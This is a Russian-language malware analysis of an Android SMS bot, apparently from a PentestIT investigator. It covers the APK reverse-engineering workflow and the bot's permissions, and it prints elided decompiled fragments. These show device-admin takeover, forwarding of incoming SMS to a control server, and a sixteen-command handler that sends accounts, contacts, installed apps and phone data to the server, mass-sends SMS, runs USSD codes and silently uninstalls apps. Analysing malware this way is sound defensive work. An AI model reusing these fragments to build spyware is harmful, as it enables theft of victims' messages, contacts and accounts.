Анализ sms-бота для Android. Часть II
Вступление
Еще один бот под Android, рассылаемый по «красивым» номерам вида 8***1112233 и т.д. Смской приходит ссылка вида: «Посмотрите, что о Вас известно или Информация для владельца и т.д. названиесайта.ру/8***1112233»
Процесс вскрытия Android-приложений:
- Скачиваем APK-файл;
- Извлекаем файл манифеста;
- Декомпилируем приложение в читаемый исходный или байт-код;
- Анализируем манифест и код.
Джентльменский набор инструментов:
- Apktool – Используем для того чтобы вытащить манифест и ресурсы;
- Dex2jar – Декомпилируем APK-файл в байт-код;
- Jd-gui – Байт-код переводим в читабельный код.
Читаем манифест
В манифесте сразу бросаются в глаза следующие строчки кода:
<receiver android:name=".IncomingSmsReceiver" android:exported="true">
…
</receiver>
<receiver android:name=".OnReboot" android:permission="android.permission.RECEIVE_BOOT_COMPLETED" android:enabled="true">
….
</receiver>
<receiver android:name=".AdminReceiver" android:permission="android.permission.BIND_DEVICE_ADMIN">
…
</receiver>
<receiver android:name=".RunService$Alarm" android:exported="true">
…
</receiver>
<service android:name=".RunService" />
Из среза манифеста становится понятно что собирается делать бот:
- Получать и обрабатывать все входящие СМС;
- Будет что-то выполнять при перезагрузке устройства;
- Попытается получить права администратора устройства;
- И запускает какой-то сервис. Скорее всего этот сервис будет ждать поступления новых команд (например, управляющего сервера);
Далее, по манифесту:
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<uses-permission android:name="android.permission.GET_ACCOUNTS" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.SEND_SMS" />
<uses-permission android:name="android.permission.WRITE_SMS" />
<uses-permission android:name="android.permission.READ_SMS" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.CALL_PHONE" />
<uses-permission android:name="android.permission.INTERNET" />
Невооруженным глазом видно, что наш бот хочет получить разрешения на:
- Запуск после ребута;
- Получение аккаунтов;
- Получение/отправку/написание/чтение СМС-ок;
- Получение состояния телефона;
- Интернет;
Итак, уже примерно проясняются намерения бота.
Mainactivity.java
Теперь переходим к анализу классов. Их у нашего бота 17 штук.
После анализа каждого из них я пришел к выводу самые основные, то есть заслуживающие внимание, из них следующие:
- MainActivity.java;
- Runservice.java;
- IncomingSmsReceiver.java;
- HandlerCMD.java;
В выше указанных классах сосредоточена основная логика бота, остальные классы – вспомогательные.
Посмотрим, что есть в классе MainActivity.
В ниже указанном, коде бот пытается получить права Админа:
this.devicePolicyManager = ((DevicePolicyManager)getSystemService("device_policy"));
if (!this.devicePolicyManager.isAdminActive(this.adminReceiver))
{
GetAdministrator localGetAdministrator = new GetAdministrator();
localGetAdministrator.execute(new Void[0]);
return;
}
Далее, при закрытии программы он попытается запустить класс сервиса(о нем поговорим чуть ниже):
Class localClass = Class.forName("com.driver.android.system.RunService");
Intent localIntent = new Intent(this, localClass);
startService(localIntent);
RunService.java
Из названия данного класса становится понятно, что он делает. Да, он запускает сервис, который:
- проверяет свой статус;
- получает команды от управляющего сервера и запускает обрабатывающий хэндлер;
- проверяет исходящие СМС каждые 60 секунд;
- блокирует звонки номеров, которые занесены в черный список бота;
- отправляет на сервер все исходящие СМС-ки.
IncomingSmsReceiver.java
Данный класс используется как BroadcastReceiver. Из названия понятно, что данный класс нужен для получения входящих СМС-ок и отправки их содержимого на сервер. Вот подтверждающий срез кода:
localHashMap.put("addmsg",
localStringBuffer3.append(localStringBuffer4.append(localStringBuffer5.append(localStringBuffer6.append(localStringBuffer7.append("-->nОтправитель: ").append(str1).toString()).append("nТекст сообщения: ").toString()).append(str2).toString()).append("nДата: ").toString()).append(str5).toString() + "n-->nn");
SendNewSMS localSendNewSMS = new SendNewSMS(paramContext);
localSendNewSMS.execute(new HashMap[] { localHashMap });
HandlerCMD.java
По моему мнению, это самый интересный класс. Тут явно можно увидеть все функции которые выполняет бот. Данный класс тесно взаимодействует с классом Command.java, в котором расписаны действия каждой из команд. Управляющий сервер отправляет команды в виде массива строк. Хэндлер его обрабатывает и проверяет первый элемент массива paramArrayOfString[0] на наличие значения от «1» до «16». А теперь давайте пройдемся по каждой функции.
При получении «1» отправка СМС на определенный номер
if (str1.equals("1") == true)
{
Commands localCommands1 = new Commands(this.context);
localCommands1.smska(paramArrayOfString);
}
Установка нового IP-адреса сети
if (str1.equals("2") == true)
{
…
localCommands2.newIp(paramArrayOfString[1].trim());
… }
Проверить на права админа и отправить результат на сервер
if (str1.equals("3") == true)
{
…
if (localCommands3.getAdministrator()) {}
…
localSendPostData1.execute("http://" + this.server_ip, localHashMap1);
… }
Отправка на сервер всех онлайн аккаунтов пользователя
if (str1.equals("4") == true)
{...
String str4 = localCommands4.getAllAccounts();
…
localSendPostData2.execute("http://" + this.server_ip, localHashMap2);
… }
Отправка на сервер список установленных приложений
if (str1.equals("5") == true)
{
…
String str5 = localCommands5.getInstallApps();
…
localSendPostData3.execute("http://" + this.server_ip, localHashMap3);
… }
Очистка «черного списка»
if (str1.equals("6") == true)
{ …
localCommands6.clearBL();
… }
Получить от сервера текст СМС-ки и разослать абонентам из локальной адресной книги
if (str1.equals("7") == true)
{ …
localCommands7.deliveryPhoneBook(paramArrayOfString);
… }
Разослать СМС-ки по списку номеров полученных от сервера
if (str1.equals("8") == true)
{ …
localCommands8.deliveryFromBase(paramArrayOfString);
… }
Получить все номера абонентов и отправить на сервер
if (str1.equals("9") == true)
{
PhoneBook localPhoneBook = new PhoneBook(this.context);
ArrayList localArrayList = localPhoneBook.getNumbers();
…
localSendPostData4.execute("http://" + this.server_ip, localHashMap4);
… }
Отправить на сервер информацию о операторе сотовой связи
if (str1.equals("10") == true)
{ …
String str7 = localCommands9.getProvider();
…
localSendPostData5.execute("http://" + this.server_ip, localHashMap5);
… }
Отправить на сервер версии приложений
if (str1.equals("11") == true)
{ …
String str8 = localCommands10.getVersionApp();
…
localSendPostData6.execute("http://" + this.server_ip, localHashMap6);
… }
Отправить версию Андроида
if (str1.equals("12") == true)
{ …
String str9 = localCommands11.getVersionOS();
…
localSendPostData7.execute("http://" + this.server_ip, localHashMap7);
… }
Отправить код страны
if (str1.equals("13") == true)
{ …
String str10 = localCommands12.getCountry();
…
localSendPostData8.execute("http://" + this.server_ip, localHashMap8);
… }
Отправить номер телефона устройства
if (str1.equals("14") == true)
{ …
String str11 = localCommands13.getPhoneNumber();
…
localSendPostData9.execute("http://" + this.server_ip, localHashMap9);
… }
Получение от сервера и исполнение, а также отправка результата выполнения USSD-сообщений
if (str1.equals("15") == true)
{ …
localCommands14.USSD(paramArrayOfString);
… }
Удаление приложения в теневом режиме
if (str1.equals("16") == true)
{
Commands localCommands15 = new Commands(this.context);
localCommands15.uninstallApp(paramArrayOfString);
return;
}
Выводы
Подведем итоги анализа. Бот написан более грамотно, в отличии от предыдущего. Но так же есть огрехи в защите кода. Никакой обфускации и шифрования. Благодаря чему удалось увидеть в коде IP адреса сервера, на который бот отправляет и получает данные.
Набиев Нурлан, отдел расследования киберпреступлений, PentestIT, Казахстан
Автор: pentestit-team